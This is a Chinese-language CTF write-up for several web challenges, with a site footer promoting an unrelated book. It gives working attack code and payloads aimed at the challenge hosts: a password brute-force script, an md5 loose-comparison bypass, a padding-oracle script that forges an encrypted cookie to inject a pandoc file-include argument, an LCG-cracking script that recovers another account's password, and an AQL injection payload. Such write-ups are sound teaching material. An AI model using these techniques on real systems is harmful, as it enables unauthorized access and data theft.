内容简介:Login 1的代码如下:我在此将其简化一下,方便本地运行。运行结果为:
Login 1的代码如下:
var http = require('http');
const crypto = require('crypto');
var url = require('url');
var fs = require('fs');
var _0x86d1=["\x68\x65\x78","\x72\x61\x6E\x64\x6F\x6D\x42\x79\x74\x65\x73"];
function generatePart1() {
return
{
x: crypto[_0x86d1[1]](8)
}[x].toString(_0x86d1[0]);
}
function generatePart2() {
return [+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]];
}
http.createServer(function (req, res) {
res.writeHead(200, {'Content-Type': 'text/html'});
passwd = generatePart1() + generatePart2();
var url_content = url.parse(req.url, true);
if (passwd == url_content.query.passwd) {
res.write(fs.readFileSync('flag.txt', 'utf8'));
} else {
res.write('<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>');
}
res.end();
}).listen(8888);
我在此将其简化一下,方便本地运行。
const crypto = require('crypto');
var _0x86d1=["\x68\x65\x78","\x72\x61\x6E\x64\x6F\x6D\x42\x79\x74\x65\x73"];
function generatePart1() {
return
{
x: crypto[_0x86d1[1]](8)
}[x].toString(_0x86d1[0]);
}
function generatePart2() {
return [+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]];
}
passwd = generatePart1() + generatePart2();
console.log(passwd)
运行结果为:
zeroyu@zeros ~/Desktop node login.js undefined1337
提交 undefined1337 得到flag的第一部分 flag{W0w_1_gu3ss_th1s
Login 2的代码如下,可以看出是md5的弱类型比较,只要求md5之后的值开头是0e即可,提交 s878926199a 得到下一部分的flag _t0_be_4_pr3tty_
<?php
include("flag.php");
if (isset($_GET['passwd'])) {
if (hash("md5", $_GET['passwd']) == '0e514198428367523082236389979035') {
echo $flag;
}
} else {
echo '<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>';
}
?>
Login 3部分代码如下
from flask import Flask, request, send_from_directory
app = Flask(__name__)
passwd = open("/opt/passwd.txt").read()
flag = open("/opt/flag.txt").read()
@app.route('/')
def index():
userpw = request.args.get("passwd", "")
if userpw == passwd:
return flag, 200, {"Content-Type": "text/plain"}
else:
return '<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>'
if __name__ == '__main__':
assert(len(passwd) == 3)
assert(passwd.isdigit())
app.run()
关键在于一下两行:
assert(len(passwd) == 3) assert(passwd.isdigit())
这两行判断了从 /opt/passwd.txt 中读出的内容的长度是否是3,类型是否是数字。一般我们可能会字节考虑 100-999 ,但是要知道 000、009 这些长度也是3,也是数字类型。所以写爆破脚本如下:
import requests
for i in range(0, 1000):
url = "http://login3.uni.hctf.fun/?passwd=%03d" % i
r = requests.get(url).content
s = """<html><body><form method="get"><input type="text" name="passwd" value="password"><input type="submit" value="login" /></form></body></html>"""
if(s != r.decode('utf-8')):
print(i)
break
最终爆破得到结果:
zeroyu@zeros ~/Desktop python testlogin.py 7
提交 007 得到最后一部分flag 4_d4mn_l0ng_fl4g}
Converter
target: http://converter.uni.hctf.fun/
分析之后,可以看到vals的长度是16的倍数
content=test vals=abe356a36f821925d21c83ed298f35136ba2089bcd4961c4af60426f0e392113a74bc8e5dbcc77aa244833318636d73a0e1c9a6072e40b115743d5f0dbbbc7b9 128个字符 content=testtest vals=3594a122720368f402eca150c2d85b82634027d10b41145c06a4396987ff1f4b53d9cfc2d3bd4a3f5a73b4c00bfe158e928d52d868a32ff949a456ab2834fe696435316fd2227396112b0d65fb104961 160个字符 content=testtestte vals=ea63f05d45c98e48208261d6e2d2a5d336d657d0ca1b5ca41bf0c8bade5f2db59724e76bdfca4bdefaae182cd1246451d9d2f0b79c867eecd90c1c0fd12f65ff74d174b9ff0f6f97bbfc8c3be536f265 160个字符
比如以下这组数据:
content=t vals=a7cef9264688e0abc6717d25c3682ff2452e6ab9d98f6d0f7203b5fb2512d4982189f0f4a0748005a19d93166c15f12855ccbeba2bd7fb8c9283c969df631551
我们修改vals的第一位后发送请求,得到一个错误 JSONDecodeError: Expecting value: line 1 column 1 (char 0) ,修改最后一位发送请求,得到一个 ValueError: Invalid padding bytes. 。由以上两点可以看出,cookie中包含 AES-CBC-encrypted JSON 数据。所以在这种分组加密中我们可以联想到Padding Oracle攻击,关于这种攻击可以参考:
接下来我们使用脚本将cookie值进行解密:
# you need get padding_oracle from there
# https://github.com/pspaul/padding-oracle
# you need python3
from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet
import requests
def oracle(cipher_hex):
headers = {'Cookie': 'vals={}'.format(cipher_hex)}
r = requests.get('http://converter.uni.hctf.fun/convert', headers=headers)
response = r.content
if b'Invalid padding bytes.' not in response:
return True
else:
return False
o = PaddingOracle(oracle, max_retries=-1)
cipher = 'b5290bd594ba08fa58b1d5c7a19f876c338191a51eeeac94c2b434bdb8adbfb8596f996d6eddca93c059e3dc35f7bef36b57a5611250ec4528c11e1573799d2178c54c034b9ea8fda8ae9a4a41c67763'
plain, _ = o.decrypt(cipher, optimized_alphabet=json_alphabet())
print('Plaintext: {}'.format(plain))
解密后cookie的内容为 {"f": "markdown", "c": "AAAABBBBCCCCDDDD", "t": "html4"} ,一般这种文档转换使用的是 pandoc ,此处的 f 是控制输入格式, c 是我们输入的内容, t 是控制输出格式。
由题目可知我们要读取flag.txt中的内容,所以我们使用pandoc的 -A 参数,把flag.txt的内容包含出来。
-A FILE, –include-after-body=FILE Include contents of FILE, verbatim, at the end of the document body (before the tag in HTML, or the \end{document} command in LaTeX). This option can be used repeatedly to include multiple files. They will be included in the order specified. Implies –standalone.
要注意此处前端好像有白名单过滤,直接代入我们的参数话得不到我们想要的结果。
所以我在抓包之后修改cookie的值。cookie的生成脚本如下所示。
from padding_oracle import PaddingOracle
from optimized_alphabets import json_alphabet
import requests
def oracle(cipher_hex):
headers = {'Cookie': 'vals={}'.format(cipher_hex)}
r = requests.get('http://converter.uni.hctf.fun/convert', headers=headers)
response = r.content
if b'Invalid padding bytes.' not in response:
return True
else:
return False
o = PaddingOracle(oracle, max_retries=-1)
cipher = 'b5290bd594ba08fa58b1d5c7a19f876c338191a51eeeac94c2b434bdb8adbfb8596f996d6eddca93c059e3dc35f7bef36b57a5611250ec4528c11e1573799d2178c54c034b9ea8fda8ae9a4a41c67763'
plain = b'{"f": "markdown", "c": "AAAABBBBCCCCDDDD", "t": "html4"}'
plain_new = b'{"f": "markdown -A flag.txt", "c": "D", "t": "html4"}'
cipher_new = o.craft(cipher, plain, plain_new)
print('Modified: {}'.format(cipher_new))
最终得到flag
LCG and the X
打开主页看到如下描述,最后一句 Save secret messages prefixed with "flag{" (which is always handy...)
Hello!
This is the website for our on-campus fanclub of the band LCG and the X!
Everyone can signup for the club to:
Get the latest LCG news
Communicate with other fans
Save secret messages prefixed with "flag{" (which is always handy...)
接下我们进行注册登录,注册后可以看到如下信息:
User Number: 34 Password: 4391179335210642486020975422279755323
bitmap图片的地址为 http://lcgandthex.uni.hctf.fun/static/pics/34.bmp ,bitmap图片名称前面的序号和我们用户名的相同,所以如果我们更改图片前面的序号还可以下载其他的bitmap图片。而这个bitmap图片还是作为password recovery token来使用的,所以我们就可以利用它来重置别的账户的密码。
接下来我们进行登录,登陆后可以看到这样的信息。
News Website Launch I just took the website online. I wrote it myself! I also just signed up to make sure the signup process works. Then I created a secret flag, which worked as well! Flag Storage Maintenance Because of the new data protection laws in europe I decided to temporarily disable the secret flag storage... I hope i can bring it back up soon...
可以看到对于我们这个账户而言,密码是被隐藏的,因此可能我们需要登录管理员的账户进行查看?那么管理员有可能是序号为1的那一个?那么我们就要考虑怎么去获取1号的密码了。因为这里的password recovery token没有地方去让我们使用,比赛结束后也有看别的战队是使用如下脚本分析了bitmap图片然后得到一些信息之后进行LCG破解的。
import math
import os
import sys
import imageio
if len(sys.argv) != 2:
print("Usage: %s file.bmp" % sys.argv[0])
sys.exit(1)
filename = sys.argv[1]
image = imageio.imread(filename)
out = 0
for line in image:
tmp = 0
for x in range(len(line)):
tmp <<= 1
tmp |= 1 if line[x] == 255 else 0
print("% 40d" % tmp)
对比两个用户bitmap图片中的信息可以发下现两者相差 313373133731337313373133731337
这里只截取前五行
34.bmp
10778143335877814333587781433348
8024293302815125776712035454147967229
8424888415969153255243735974754402615
3343897317520929957383430099400071436
12356584033995394658660863293223597252
35.bmp
11091516469609151646960915164685
9972138259316515878515303887207190382
7570417892854896822411051461517328212
16016475982551891670926030402121628733
9296242651229076123142121777120916609
之后再推算出一下值之后进行的攻击
m = 16285270385112413720426683811263350667 a = 313373133731337313373133731337 c = 123456789012345678901234567890
但是我们这里不这么干,密码是LCG生成的(因为题目本身就提示了LCG这个算法),那么我们这里就属于不清楚a\c\m的值对LCG生成器进行攻击,那么连续注册几个账号,采集一下密码输入一下脚本就好了。着这里使用burp多重放几次数据包就可以了,不用次都去输信息注册。
User Number: 34 Password: 4391179335210642486020975422279755323 User Number: 35 Password: 10752978387235368639990800431243402580 User Number: 36 Password: 829507054147681073533941628943699170 User Number: 37 Password: 7191306106172407227503766637907346427 User Number: 38 Password: 13553105158197133381473591646870993684
import math
import functools
reduce = functools.reduce
gcd = math.gcd
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, x, y = egcd(b % a, a)
return (g, y - (b // a) * x, x)
def modinv(b, n):
g, x, _ = egcd(b, n)
if g == 1:
return x % n
def crack_unknown_increment(states, modulus, multiplier):
increment = (states[1] - states[0]*multiplier) % modulus
return modulus, multiplier, increment
def crack_unknown_multiplier(states, modulus):
print('states', states)
multiplier = (states[2] - states[1]) * modinv(states[1] - states[0], modulus) % modulus
return crack_unknown_increment(states, modulus, multiplier)
def crack_unknown_modulus(states):
diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
zeroes = [t2*t0 - t1*t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
modulus = abs(reduce(gcd, zeroes))
return crack_unknown_multiplier(states, modulus)
print(crack_unknown_modulus([4391179335210642486020975422279755323,
10752978387235368639990800431243402580, 829507054147681073533941628943699170, 7191306106172407227503766637907346427, 13553105158197133381473591646870993684]))
# m = 1 # the "multiplier"
# c = 6361799052024726153969825008963647257 # the "increment"
# n = 16285270385112413720426683811263350667 # the "modulus"
class prng_lcg:
m = 1 # the "multiplier"
c = 6361799052024726153969825008963647257 # the "increment"
n = 16285270385112413720426683811263350667 # the "modulus"
def __init__(self, seed):
self.state = seed # the "seed"
def next(self):
self.state = (self.state * self.m + self.c) % self.n
return self.state
def prev(self):
self.state = (self.state - self.c) % self.n
return int(self.state)
#User Number: 46
#Password: 15591686419057701451952140284790119739
gen = prng_lcg(15591686419057701451952140284790119739)
num = 45
while num > 0:
p = gen.prev()
print(num, p)
if p == 4391179335210642486020975422279755323:
print('sanity check: working')
num -= 1
# 1 => 6160325624856057770563639672902954513
最后登录得到flag
PS:关于此处LCG攻击,你可以查看 《攻击线性同余生成器(LCG)》
H!pster Startup
主页代码里可以找到后台,所以就不用扫描了。
<!-- Main navigation -->
<ul class="main-nav nav navbar-nav navbar-right">
<li><a href="#home">Home</a></li>
<li><a href="#service">Services</a></li>
<!-- <li><a href="/admin">Admin-Panel</a></li> -->
</ul>
<!-- /Main navigation -->
后台测试发现是ArangoDB并且使用pyArango进行驱动程序。源码中存在如下内容,所以需要 _id 参数。
try :
collection = self.database[docJson["_id"].split("/")[0]]
except KeyError :
raise CreationError("result %d is not a valid Document. Try setting rawResults to True" % i)
最终的payload为:
user: ' || 1 RETURN {_id: u._id, role:'admin'} //
flag为
flag{1_l0v3_a_g00d_1nj3ct10n}
此处我在写note的时候,官方的题目已经关闭了,所以列出一些参考:
[P.W.N. CTF 2018] H!pster Startup Write-up (Web216)
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
社群营销与运营/互联网+新媒体营销规划丛书
秦阳//秋叶|总主编:秋叶 / 人民邮电出版社 / 2017-5 / 45.00元
《社群营销与运营》共分6章。第1章重点介绍了社群营销的起因、概念、构成、价值和评估模型,引导读者全面认识社群以及社群营销;第2章介绍了如何从无到有、从小到大建设一个社群的手法和注意事项;第3章重点介绍维持社群活跃度的各种技巧;第4章介绍了组织一场社群线下活动五个阶段的执行方案;第5章介绍了如何从无到有、由弱到强地构建社群运营团队;第6章介绍如何正确看待社群商业变现以及社群商业变现的三大模式和四个基......一起来看看 《社群营销与运营/互联网+新媒体营销规划丛书》 这本书的介绍吧!